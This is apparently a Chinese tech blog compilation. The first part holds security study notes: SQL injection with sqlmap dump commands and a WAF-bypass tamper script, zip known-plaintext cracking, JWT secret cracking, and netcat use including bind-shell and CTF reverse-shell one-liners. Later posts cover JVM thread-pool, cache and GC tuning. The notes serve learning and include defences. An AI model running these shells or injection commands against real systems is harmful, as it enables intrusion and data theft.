sql注入攻击

WHAT: sql注入是什么

在输入的字符串之中注入SQL指令。
如果代码中是以拼接用户输入成一个sql交给数据库执行的话,就很容易被此类攻击攻破。

HOW: sql注入如何发生

假如代码中的拼接逻辑:

1
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

然后用户输入:userName = "1' OR '1'='1";
则拼接后的结果:

1
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

则sql实际逻辑发生了变化,执行了用户注入的逻辑。
攻击方不一定需要从回显中获取信息,只需要通过sleep函数即可通过时间差进行盲注。
大致攻击逻辑:
1。通过拼接sleep判断是否存在被注入点;
2。通过拼接逻辑运算+sleep判断(逻辑短路)判断某个条件是否成立;
(比如 某个表是否存在、表名的每一位字母是否正确来慢慢试探出表名)

sqlmap工具

首先正常请求一次目标,然后将request header和payload保存到1.txt中,然后就可以用sqlmap来进行盲注了。

script
1
2
3
4
5
6
# 1. 首先探测有哪些数据库:
sqlmap -r 1.txt --level 3 --risk 3 --dbs
# 2. 探测有哪些表:
sqlmap -r 1.txt --level 3 --risk 3 -D 上一步的db --tables
# 3. 打印指定easysql库下flag表的数据:
sqlmap -r 1.txt --level 5 --risk 3 -D easysql -T flag --dump

有时候会遇到目标服务器有一些简单的字符串过滤、拦截的逻辑,可以通过加tamper的方式绕过:

script
1
sqlmap -r 1.txt  --tamper "easysql.py" --level 5 --risk 3 -D easysql --tables

tamper有到的文件位于:
/Library/Python/3.7/site-packages/sqlmap/tamper/目录下,可以通过locate space2comment.py来寻找对应目录。

打印指定列:

1
sqlmap -r 2.txt -D ctf -T user -C "username,password" --dump -D easysql --tables

自己编写tamper

主要是实现一个def tamper(payload, **kwargs)方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import random
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('union' , 'uniunionon')
payload= payload.replace('select' , 'selselectect')
payload= payload.replace('where' , 'whewherere ')
payload= payload.replace('or' , 'oorr')
payload= payload.replace('ro' , 'rroo')
payload= payload.replace('flag' , 'flflagag')
payload= payload.replace("'" , '"')
# payload= payload.replace('from' , 'frfromom')
# payload= payload.replace('information' , 'infoorrmation')
# payload= payload.replace('and' , 'anandd')
# payload= payload.replace('by' , 'bbyy')
retVal=payload
return retVal

如何防御

1。用模版sql功能,不要自己手拼用户输入到sql;
2。校验用户输入;
3。限制用户请求频率,控制返回的时间稳定,不要让用户感知到时间差。

参考资料

https://copyfuture.com/blogs-details/20211205073411933f

已知明文破解zip

已知明文攻击

当我们拿到一个用密码加密的zip文件的时候,如果我们恰好还知道压缩包里某个文件的明文,就可以使用pkcrack进行已知明文破解zip。
比如我们的目标是:密文.zip,
我们可以直接vi一下这个zip文件可以看到它里面到底有哪些文件。(即使是加密的也可以看到里面有什么文件)
比如这个压缩包里恰好有一个明文.png,(有些人喜欢在所有压缩包里放版权声明文件或者广告图,这样根据文件名在网上可以直接搜到明文文件)
我们可以把这个明文.png手动压缩一下得到明文.zip
然后开始安装pkcrack然后破解。

mac下可以用brew安装一个pkcrack:

script
1
brew install pkcrack

或者直接下载一个pkcrack-1.2.2
http://www.password-crackers.com/en/category_98/program_24.html
下载以后在src里make一下就能得到可执行文件了。
然后就简单了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
cd src
make
cd ..

[user@ip pkcrack-1.2.2]# ./src/pkcrack -C 密文.zip -c 明文.png -P 明文.zip -p 明文.png -d 结果.zip -a
Files read. Starting stage 1 on Mon Sep 26 15:40:09 2022
Generating 1st generation of possible key2_822346 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 947 values at offset 818742
Lowest number: 901 values at offset 818736
Lowest number: 872 values at offset 818720
Lowest number: 847 values at offset 818719
Lowest number: 838 values at offset 818625
Lowest number: 804 values at offset 818589
Lowest number: 745 values at offset 818571
Lowest number: 711 values at offset 818569
Lowest number: 677 values at offset 818366
Lowest number: 657 values at offset 818337
Lowest number: 656 values at offset 818294
Lowest number: 642 values at offset 818292
Lowest number: 589 values at offset 817979
Lowest number: 572 values at offset 817970
Lowest number: 568 values at offset 817966
Lowest number: 564 values at offset 817936
Lowest number: 537 values at offset 817934
Lowest number: 533 values at offset 817907
Lowest number: 530 values at offset 817896
Lowest number: 436 values at offset 817874
Lowest number: 398 values at offset 817862
Lowest number: 394 values at offset 817833
Lowest number: 353 values at offset 817830
Lowest number: 351 values at offset 817789
Lowest number: 328 values at offset 817787
Lowest number: 322 values at offset 817785
Lowest number: 306 values at offset 817784
Lowest number: 291 values at offset 817774
Lowest number: 281 values at offset 817761
Lowest number: 279 values at offset 805546
Lowest number: 253 values at offset 805545
Lowest number: 242 values at offset 805544
Lowest number: 215 values at offset 805519
Lowest number: 212 values at offset 798445
Lowest number: 211 values at offset 798421
Lowest number: 193 values at offset 798402
Lowest number: 187 values at offset 798401
Lowest number: 185 values at offset 798397
Lowest number: 179 values at offset 798395
Lowest number: 178 values at offset 798392
Lowest number: 176 values at offset 798390
Lowest number: 175 values at offset 798382
Lowest number: 174 values at offset 798380
Lowest number: 151 values at offset 798370
Lowest number: 139 values at offset 798369
Lowest number: 127 values at offset 709771
Lowest number: 114 values at offset 709769
Lowest number: 113 values at offset 709767
Lowest number: 110 values at offset 709766
Lowest number: 106 values at offset 709764
Lowest number: 103 values at offset 709752
Lowest number: 101 values at offset 709751
Lowest number: 99 values at offset 709750
Done. Left with 99 possible Values. bestOffset is 709750.
Stage 1 completed. Starting stage 2 on Mon Sep 26 15:40:52 2022
Ta-daaaaa! key0=71fc91ef, key1=d508d7a6, key2=3e05d364
Probabilistic test succeeded for 112601 bytes.
Ta-daaaaa! key0=71fc91ef, key1=d508d7a6, key2=3e05d364
Probabilistic test succeeded for 112601 bytes.
Ta-daaaaa! key0=71fc91ef, key1=d508d7a6, key2=3e05d364
Probabilistic test succeeded for 112601 bytes.
Stage 2 completed. Starting zipdecrypt on Mon Sep 26 15:40:53 2022
Decrypting 其他密文.txt (210b089a08f3aed2247acf25)... OK!
Decrypting 明文.png (a84583e0c35dc7faaa590237)... OK!
Finished on Mon Sep 26 15:40:53 2022

破解后的压缩包就生成到了结果.zip里。

如何防御此类攻击

1。密码尽量包含多样的字符、长度不太短;
2。要加密的压缩包里不要放一些无关紧要、容易被社工手段获取到明文的文件。

jwt破解

What: 什么是jwt

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,主要应用于2个系统之间的授信场景。
也能用于身份token。
可以参考:
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

可以使用
https://jwt.io/
查看jwt的三个组成部分:

How: jwt的保密性如何?

jwt除了密钥,其他基本是明文,所以保密性较低。

可以用:
https://github.com/brendan-rius/c-jwt-cracker
对它进行破解。

或者直接:

script
1
2
npm install --global jwt-cracker
jwt-cracker <jwt>

即可破解jwt中的密钥。

然后在jwt.io上修改payload,填上密钥重新加密即可篡改原来的内容实现破解。

如何防御此类攻击

1。jwt基础上加上加密、摘要(类似于https/pgp协议),防止篡改、破解;
2。jwt中不存储敏感信息;

nc命令笔记

单聊

script
1
2
3
4
# 服务端(收):
nc -l -k 8080
# 客户端(发):
nc 127.0.0.1 8080

双向聊天的话就开俩端口,互相监听;
-l就是listen、监听某个端口;
-k就是keep,不然客户端一断服务端也会关闭;keep的话服务端能保持不挂;

聊天室

这个可以安装一下nmap(brew install nmap),然后就可以用ncat了:

script
1
2
# 服务端以broker模式启动:
ncat -l 8888 --broker

然后多个客户端可以连到8888上聊天;(客户端用nc或ncat都行)

传输文件

(就是在聊天基础上加一个管道)

script
1
2
3
4
# 接收方:
nc -l 8080 > out.jpeg
# 发送方:
nc 127.0.0.1 < WechatIMG104.jpeg

转发请求:

script
1
2
3
4
5
6
7
8
9
10
mkfifo 2way
nc -k -l 8080 0<2way | nc 172.29.53.164 21445 1>2way
nc -k -l 8081 0<2way | nc 127.0.0.1 8080 1>2way
#
ncat -k -l 8080 0<2way | ncat 172.29.53.164 21445 1>2way
#
cat 2way | nc 172.29.53.164 21445 | nc -l 8080 > 2way
cat 2way | nc 127.0.0.1 8080 | nc -k -l 8081 > 2way
# 然后
echo -n "GET / HTTP/1.0\r\n\r\n" | nc -v -D 127.0.0.1 8080

http服务

简单启动一个http服务方便测试:

script
1
python -m SimpleHTTPServer 8081

然后在当前目录放上index.html就能返回文本给curl请求了。
这个在测试命令是否成功执行时能用,也能带回一些基本数据。

后门

其实就是转发端口上收到的东西到/bin/bash,从而执行命令:

script
1
2
3
4
# 被控制端:
nc -l 8080 -e /bin/bash
# 控制端:
nc 127.0.0.1 8080

这个挺离谱的,试了一下可以ls目录,然后cd到某个目录里继续执行ls、回显结果。
感觉相当于为所欲为了。

CTF里的反向shell一般是先在自己的机器上:

script
1
nc -nvlp 10086

然后想办法在目标机器上执行:

script
1
bash -i >& /dev/tcp/<my_server_ip>/10086 0>&1

或者:

script
1
nc -e /bin/sh <my_server_ip> 10086

参考资料

https://linux.cn/article-9190-1.html

调优-解决线程池造成的进程卡顿、cpu毛刺问题

背景&现象

背景

有个qps较高的rpc,使用了线程池来并发请求多个下游服务,且设定了对于下游的超时时间。

现象

rpc服务调用下游时,时不时出现耗时很高的情况,平均耗时挺低的,但是p99和p995就比较高了,达到秒级,超过了设定的调用下游的超时时间。
从rpc monitor上看,调用下游实际也用不了这么长时间,说明不是跨span的耗时;
使用arthas trace查看方法级的耗时:

可以发现是频繁start新的thread导致的。

再查看日志里的线程编号:
-thread-7665821
已经达到七百万了!

参考以前的学习:
http://xiaoyue26.github.io/2022/03/14/2022-03/%E4%B8%AD%E6%96%AD%E6%A2%B3%E7%90%86/

由于jvm线程与内核线程一一对应(hotpot jvm下),频繁回收、创建带来的内核态切换、系统调用开销过于大了。

解决方案

综上可以发现线程池里有频繁的线程回收、再创建操作,需要关闭core线程自动回收的机制(基础框架内默认是开启回收)

1
DynamicThreadExecutor.dynamic(POOL_SIZE::get, "csc-center-executor-%d", false);

字段注释:

1
2
3
@param allowCoreThreadTimeout 是否允许核心线程超时后被回收,
* 超时时间参数可通过为{@link ExecutorBuilder.coreThreadKeepAliveMillis}设置
* 默认超时时间为1分钟

收益

请求耗时p99\p995、超时异常大幅降低;

更多参考代码

也可以自己选择喜欢的builder创建:

1
2
3
4
5
6
7
private final DynamicThreadExecutor fromBuilder = DynamicThreadExecutor.dynamic(POOL_SIZE::get,
num -> ExecutorsEx.newBlockingThreadPool(ExecutorBuilder
.newBuilder()
.allowCoreThreadTimeout(false)
.threadSize(num)
.queueSize(num)
.theadNameFormat("from-builder-%d")));

注意事项(可能的坑)

  1. 摘要中的代码默认创建的是BlockingThreadPool,不支持嵌套使用。不要在提交的任务中再次提交任务到同一个线程池,以免死锁。
    (jdk中的支持嵌套调用)

参考资料

https://zhuanlan.zhihu.com/p/342929293

调优-cpu毛刺问题

摘要

1。线上服务追踪使用公共线程池的调用栈;
2。动态调整线程池大小;
3。拓展:pstack、strace非java进程;

背景

线上服务偶尔会有一两个实例突然cpu飙到100%,尤其以刚启动的时候发生的概率高。
虽然分钟级的平均使用率只有35%左右,但是秒级则会有几秒进入进程卡顿状态,影响服务的可用性。

问题定位

1。定位线程池:

cpu问题,首先想到的是线程池打满的可能。所以首先看监控里各个线程池的使用率。
然后发现打满的线程池名字是: fork-join-common-pool

这里就很尴尬了,因为如果是业务命名好的线程池,就可以立即知道涉及到的业务和相关代码的位置了。

这里监控线程池使用率用的是java.util.concurrent.ThreadPoolExecutor.getActiveCount
或java.util.concurrent.ForkJoinPool.getActiveThreadCount
对比java.util.concurrent.ThreadPoolExecutor.getMaximumPoolSize
或java.util.concurrent.ForkJoinPool.getParallelism
启动所有线程池的时候注册一下reporter即可。

2。追踪调用栈

这种不命名线程池的不规范的使用,给定位问题带来了麻烦。
需要登陆到容器里,然后用arthas连上jvm:

script
1
2
stack java.util.concurrent.ForkJoinPool externalSubmit -n 3
# 需要设置options unsafe true

看一下提交任务的代码的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ts=2022-08-24 18:16:20;thread_name=csc-infra-executor-348;id=f2e45;is_daemon=false;priority=5;TCCL=jdk.internal.loader.ClassLoaders$AppClassLoader@531d72ca
@java.util.concurrent.ForkJoinPool.signalWork()
at java.util.concurrent.ForkJoinPool.externalPush(ForkJoinPool.java:1903)
at java.util.concurrent.ForkJoinPool.externalSubmit(ForkJoinPool.java:1921)
at java.util.concurrent.ForkJoinPool.execute(ForkJoinPool.java:2453)
at com.github.benmanes.caffeine.cache.BoundedLocalCache.scheduleDrainBuffers(BoundedLocalCache.java:1427)
at com.github.benmanes.caffeine.cache.BoundedLocalCache.scheduleAfterWrite(BoundedLocalCache.java:1394)
at com.github.benmanes.caffeine.cache.BoundedLocalCache.afterWrite(BoundedLocalCache.java:1364)
at com.github.benmanes.caffeine.cache.BoundedLocalCache.doComputeIfAbsent(BoundedLocalCache.java:2470)
at com.github.benmanes.caffeine.cache.BoundedLocalCache.computeIfAbsent(BoundedLocalCache.java:2386)
at com.github.benmanes.caffeine.cache.LocalCache.computeIfAbsent(LocalCache.java:108)
at com.github.benmanes.caffeine.cache.LocalLoadingCache.get(LocalLoadingCache.java:54)
at com.github.benmanes.caffeine.guava.CaffeinatedGuavaLoadingCache.get(CaffeinatedGuavaLoadingCache.java:59)
at

结果挺意外的,原来是使用的caffeine的缓存默认用的公共线程池。
翻了一下公司封装的接口里没法往里面传自己的线程池,不传默认就用公共forkjoin线程池,worker数量=core * 2;
因此吞吐量太低了。一旦遇到有大量缓存需要重载的时候,就会卡住,因此会cpu毛刺。
平时因为设置得过期时间和刷新时间好,不会触发;启动的时候,缓存还是空的,因此线程池会打满,请求堆积、cpu毛刺。

3。解决方案

首先是推动公司基础部门把这个漏暴露的接口补上;
其次是使用自己创建的线程池时,要确定线程池的大小。
这个问题一方面有网上的公式:

cpu密集: 线程池大小=core * 2;
IO密集: 线程池大小= IO时间/cpu时间 * 2;

其实一般业务系统,又不是机器学习之类的算法程序,基本上都是IO密集;
可以算一下下游返回时间大概多少(超时时间),除以(总时间-IO时间)即可。

除了根据上面的公式直接拍,如果后续下游有变化,动态调整也很重要,所以最好是用可以动态调整线程池大小的封装。
可以借用com.google.common.util.concurrent.ForwardingExecutorService,稍微封装一下。
主要注意的就是调大corePoolSize之前,要先调大maximumPoolSize;
反之则反过来。(也不是每种线程池都能调,jdk默认是让调的)

4。拓展

jvm进程我们一般先:
1.top一下看进程id;
2.top -Hp <pid>看进程内线程id(十进制);
3.printf "%x\n" <pid>看16进制nid;
4.jstack <pid> | grep <nid> -A 30看具体栈;

如果是非jvm程序,则不能用jstack,可以用pstack:

script
1
2
3
4
5
6
pstack <线程id>
```
不过信息就比jstack少很多了。
还可以:
```shell script
strace -o strace.log -tt -p <线程id>

追踪运行时的汇编。

w-tinylfu缓存算法

WHAT: w-tinylfu是什么?

w-tinylfu = window tiny LFU
实际是一种缓存置换算法,直译过来大概是带一个窗口的tiny版本的LFU实现;
主要用三段LRU,一个布隆过滤器、一个cm-sketch计数器,兼顾了LFU和LRU的优点。
大致思想上类似于别的分段lru算法(例如mysql中buffer pool的lru链表,5/8存young page,3/8存old page)。

背景

学术界:
来自论文:https://arxiv.org/pdf/1512.00727.pdf
工业界:
实现:java中的caffeine缓存就用的是w-tinylfu算法。

当然这里caffeine的性能好除了w-tinylfu算法的贡献,还有其他很多优化比如结合了disruptor(RingBuffer)、时间轮;

WHEN: 什么时候使用w-tinylfu算法

缓存置换算法也不是银弹,也需要匹配它适合的某些分布workload。
即使是匹配的分布的workload,实际参数也要和workload匹配才能达到最好性能。

w-tinylfu算法适合的工作负载的大概特征:

  1. 静态的偏态分布;(分布规律不怎么变化)
  2. 有一定动态变化(不能变化得太快太剧烈)的分布、包括有一定突发流量的偏态分布,例如偶有突发流量的zipf分布。

比较合适的:

benchmark中测试的workload比较合适的包括:
youtube、维基百科、数据库访问、windows文件系统、搜索引擎;

不太合适的:

OLTP中的磁盘访问: 轨迹实际是顺序访问的升序队列中散布一些随机访问,这对于w-tinylfu来说不太适配。

具体的调参涉及到算法内部细节,因此最后在调优章节再展开。

HOW: w-tinylfu具体是怎么做的

目标、要解决的问题

1。提高缓存命中率;
现有方案的缺点:
LFU: 数据访问模式有变化时(例如有突发流量),LFU较迟钝,始终缓存早先访问多的数据;
LRU: 不能记忆历史的访问规律,高频访问key并不一定能缓存到。
2。降低内存消耗;
现有方案的缺点:
LFU: 需要给每个key维护频率信息(PLFU记录所有key的频率;WLFU则记录当前缓存中key的频率),需要巨大的内存消耗。

总之,w-tinylfu需要以较低的内存消耗达到高命中率。

架构、解决方案

如上图所示:
1。LRU: 最左边是一个普通的LRU窗口,默认占1%的空间,负责处理突发流量的情况;
2。filter: 第2个组件是一个布隆过滤器,作为看门人,负责阻挡长尾的低频访问、避免纳入计数器;
3。Segmented LRU: 第3个组件是分段LRU,分为两段:
(1)protected: 受保护区,占80%,存放访问次数>1的数据;
(2)probation: 缓刑区域, 占20%,存放访问次数=1的数据;(淘汰备选)
按我理解,其实还应该有一个组件负责统计频次,但论文中没有相应的图。
这里按我理解直接补上:
4。CM-Sketch: 近似统计频次。这里类似于WLFU,只记录当前缓存中有出现的key的频率,使用count min sketch算法。
近似统计频次算法,因此有一定错误率,但也极大节省了内存。

节省内存:CM-Sketch算法近似统计

count min sketch算法,类似于计数版本的布隆过滤器,把布隆过滤器原来标记是否存在的0\1改成能存更多值的计数器。
由于考虑到实际workload中常见的是长尾分布,因此计数器实际位数不多,默认只有4位,也就是默认大部分数据访问频次在15次以内。
CM-SKetch使用多个哈希函数(或者1个哈希函数和多个种子)和多个计数器来记录访问的次数。
实际读的时候取所有计数器里最小的一个,因此其他计数器的值其实就没什么用了。
而且由于哈希碰撞,有一定的概率频次的估计会偏大,(但是不会偏小)
因此实际每个key的统计频次增加的时候,可以只增大当前最小的计数器。

调参

假如处理的数据规模是n,希望估计值落在[实际值, 实际值+ a*n]范围的概率是1-b;
则:
1.计数器数量为: e/a 的上界;
2.哈希函数的数量为: ln(1/b) 的上界;

例如当n=10^6时,如果我们希望估计值落在实际值, 实际值+ 2000范围的概率是99%,
则:

  1. 计数器数量为: e/0.002 的上界 = 1360;
  2. 哈希函数的数量为: ln(1/0.01) 的上界 = 5;
    当计数器占4bit,则整个计数组件占空间 = 136054 bit= 约3.5KB。

动态访问模式(访问key的分布变化):Freshness Mechanism(保鲜机制)

统计新增key到CM-Sketch计数器的次数w,一旦w达到阈值W的大小时,进行reset操作。
reset操作实际有两方面:
(1)将所有计数器的值减半(可以通过简单的>>&0x77操作来实现);
// 副作用:可能除不尽,计数误差+1。
(2)将看门人的bloom filter清空。
// 副作用: 计数误差+1;

节省内存、长尾分布优化:Doorkeeper(看门人)机制

解决的问题:长尾分布。现实时间的访问轨迹大多符合长尾效应的偏态分布,也就是大部分访问key只访问很少次数,比如1次。
如果这些流量也纳入近似统计用的CM-Sketch,就会极大扩大本来就有概率发生的哈希碰撞,从而影响性能。
如果要维持出错概率不上升,只能增大计数器的槽位(哈希表的格数),增加内存消耗。

因此这里的DoorKeeper机制,就是在近似统计组件前面增加一个防护存储: 一个布隆过滤器。
在纳入CM-Sketch之前,首先要先检查一下在不在filter里面:
(1)如果有: 说明之前可能有访问过,通过,纳入计数器;
(1)如果没有: 说明之前没有访问过,拒绝写入计数器;但写入filter记录下来。// 下次如果再访问则能通过。

通过这种看门人机制,可以阻拦大部分只访问1次的key,避免将大量资源消耗在这些key上面。

读写流程

lru或者segment lru部分读取,然后增加计数器的值即可。
可能导致probation中的key升级到protected

如上图所示,新item插入的时候,首先进入lru;
如何如果lru满了,淘汰者和分段lru的淘汰者pk,(根据近似计数器中的频次)。

而在分段lru中,probation缓刑区中访问则升到protected区。(反之protected的淘汰者降级到probation)

调优参数

回顾各个组件:
1。LRU: 默认占1%的空间,负责处理突发流量的情况;
因此如果实际突发流量占不止1%的内存空间,可能需要调大这部分;(反之亦然)
2。filter: 布隆过滤器; 只拦了访问次数=1的,因此如果长尾是2次,则可能要调整这部分。
3。Segmented LRU:
(1)protected: 受保护区,占80%,存放访问次数>1的数据;
(2)probation: 缓刑区域, 占20%,存放访问次数=1的数据;(淘汰备选)

4。CM-Sketch: 默认是4位计数器,最大15次。隐含假设是大部分访问<15次,因此如果这个假设不成立,也要调整这部分。

参考资料

论文: https://arxiv.org/pdf/1512.00727.pdf
https://xuzhijvn.github.io/zh-cn/posts/cs/other/caffeine/
https://jishuin.proginn.com/p/763bfbd34443
cm-sketch算法: https://zhuanlan.zhihu.com/p/369981005

G1调优-复杂业务治理小记

摘要

三板斧:

  1. Region size;
  2. Profile出不合理的内存分配代码,优化或者迁移;
  3. 确实有比较高内存消耗的场景,提早收集;

背景

一般来说8~64GB的堆用G1垃圾收集器还是比较省心,只需要配置regionSize和停顿时间基本就不用管了。
相关参数: -XX:G1HeapRegionSize=16M, -XX:MaxGCPauseMillis=200

不一般的情况也偶有发生,
工作中我们的一个老服务就遇到了停顿时间太长的问题。
这个老服务首先jdk版本较低只有8,
其次服务里有非常多不同类型的业务接口,承担了极为复杂的业务功能。
复杂度正比于 ~ 公司所有其他对外业务的功能*公司内大量对内业务的功能。

问题

线上服务gc停顿时间达到3~5s,偶尔甚至达到10s.

解决方案

1。 收集信息

1。 通过arthasdashboardjstat -gcutils观察内存消耗特别快,gc日志里能看到时不时就to-space耗尽了。

2。 但是经过gc能够回收,说明没有太长时间的内存泄露,用jmap就很难找到对应的内容或者相关代码了。
// 同时jmap会卡住线上服务进入safepoint,停顿时间分钟级,然后上传、加载估计半小时起步,风险和成本太高,收益较难达到。

3。 预发环境没有问题,只有线上有,说明是用户请求触发的。

4。 gc日志里source: concurrent humongous allocation较多。

2。 profile

如果jdk16的话,可以长期开着Profile(sample事件),但是这个老服务是jdk8,因此需要重新监控一下内存分配的事件:

script
1
./async-profiler-2.7-linux-x64/profiler.sh -d 300 -f 5min.jfr -e alloc --alloc 10m <pid>

首先记录下线上服务进程的jfr黑匣子,然后再输出一下ObjectAllocationOutsideTLAB事件并统计:

script
1
2
3
4
# 分配大对象次数最多: :
jfr print --events jdk.ObjectAllocationOutsideTLAB 5min.jfr | grep allocationSize | awk -F'=' '{print $2}' | sort | uniq -c | sort -n
# 每次分配内存对象最大:
jfr print --events jdk.ObjectAllocationOutsideTLAB 5min.jfr | grep allocationSize | awk -F'=' '{print $2}' | sort | uniq | sort -n

找到对应的allocationSize以后,再grep出对应的堆栈:

script
1
jfr print --events jdk.ObjectAllocationOutsideTLAB --stack-depth 16 5min.jfr | grep 19538928 -A 16 -B 3

至此就抓到疯狂分配内存的元凶代码了。

3。改代码

这里因为是18MB * 上百次/每秒的内存申请,由于我们的regionSize是16MB,18MB是大对象(即使我们设置成最大32MB也还是会判定成大对象)
,而且内存碎片特别多(18MB要两个region才能放得下,也就是浪费16*2-18=14MB)。所以调gc参数的方式处理的话比较困难。

另一个方向是改代码,这里同事是在logger.debug的时候写了一个toJSON方法,虽然不会打印,但toJSON还是执行了。
将超大的对象数组toJSON,因此内存消耗巨大。
所以我们简单把日志改成sl4j的fluentApi,用suplier做toJSON就解决了问题。
重新上线,gc停顿时间消失。

1
logger.atDebug().log(() -> toJSON(args));

回顾:WHY

内存分配

java创建对象的内存分配从好到坏有4种:
1.栈上分配: 如果是线程封闭的、足够小的对象,可以优化到栈上;
2.TLAB分配;
3.outside TLAB+eden分配;
4.H region分配;

cms的gc触发条件

cms的gc分为:

  • 前台收集
  • 后台收集

前台收集

触发条件:对象分配,空间不够;
算法: 标记清除(有碎片)

后台收集

定时任务扫描:(间隔=CMSWaitDuration=2s)

  1. 有显式调用(System.gc());
  2. 预测要满了(根据历史统计数据,且未配置UseCMSInitiatingOccupancyOnly);
    (第一次的话50%老年代占用就开始gc了)
  3. 老年代占用>阈值;
  4. Young GC可能失败或已失败;(没空间晋升了)
  5. metaspace扩容前,会进行一次cms gc;

压缩gc(full gc)

触发条件: 前台收集之前,cms可能选择进行一次压缩gc(full gc);(yong+old+metaspace)

触发条件:
(1)gc次数(前台收集+压缩full gc) > CMSFullGCsBeforeCompaction;(默认0,每次都full gc)
(2)System.gc(),则触发;
(3)young gc可能失败或已经失败(晋升失败),则认为碎片太多,需要full gc压缩一下;
(4)配置了CMSCompactWhenClearAllSoftRefs, 则需要在内存不够时清理软引用,所以需要full gc;

减少这4种情况的触发,则可以减少full gc,提高性能。

java方法是否可中断梳理

常见方法的中断相关汇总

调用方法 是否可以中断 是否释放资源(锁) 是否释放cpu
synchronized 不可中断 不释放 释放
lock 不可中断 不释放 释放
tryLock 可以中断 不释放 释放
lockInterruptibly 可以中断 不释放 释放
InterruptibleChannel 可以中断 不释放 释放
Thread.sleep 可以中断 不释放 释放
thread.join() 可以中断 释放thread对象的锁,其他不释放 释放
object.wait() 可以中断 释放 释放
condition.await() 可以中断 释放 释放

其中thread.join底层其实是调用了thread对象的wait方法,之后一般被jvm的notify唤醒。
源码参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public final synchronized void join(long millis) // 方法上有synchronized
throws InterruptedException {
long base = System.currentTimeMillis();
long now = 0;

if (millis < 0) {
throw new IllegalArgumentException("timeout value is negative");
}

if (millis == 0) {
while (isAlive()) {
wait(0);
}
} else {
while (isAlive()) {
long delay = millis - now;
if (delay <= 0) {
break;
}
wait(delay); // 实际调用的是wait,由notify唤醒
now = System.currentTimeMillis() - base;
}
}
}

总结
lock,synchronized容易死锁,因为不可中断。
尽量用表格下方的方法,性能会高些。

内核态

What: 什么是内核态

访问不属于自己的内存(用户空间、虚拟内存地址)时,
需要系统调用,进入cpu特权模式,因此需要切换到内核态;

切换到内核态时是否一定要释放cpu?
只是把寄存器保存到进程内核栈而已,进程cpu并不需要释放;

进程切换、线程切换是否需要切换内核态?
进程切换、线程切换:需要用到内核里的数据结构,因此需要进入内核态;

操作系统线程库

1)POSIX Pthreads:可以作为用户或内核库提供,作为 POSIX 标准的扩展
2)Win32 线程:用于 Window 操作系统的内核级线程库

java的线程库

Java 线程 API 通常采用宿主系统的线程库来实现。
也就是说在 Win 系统上,Java 线程 API 通常采用 Win API 来实现;
在 UNIX 类系统上,采用 Pthread 来实现。

具体到hotpot实现,则JVM线程跟内核轻量级进程一一对应。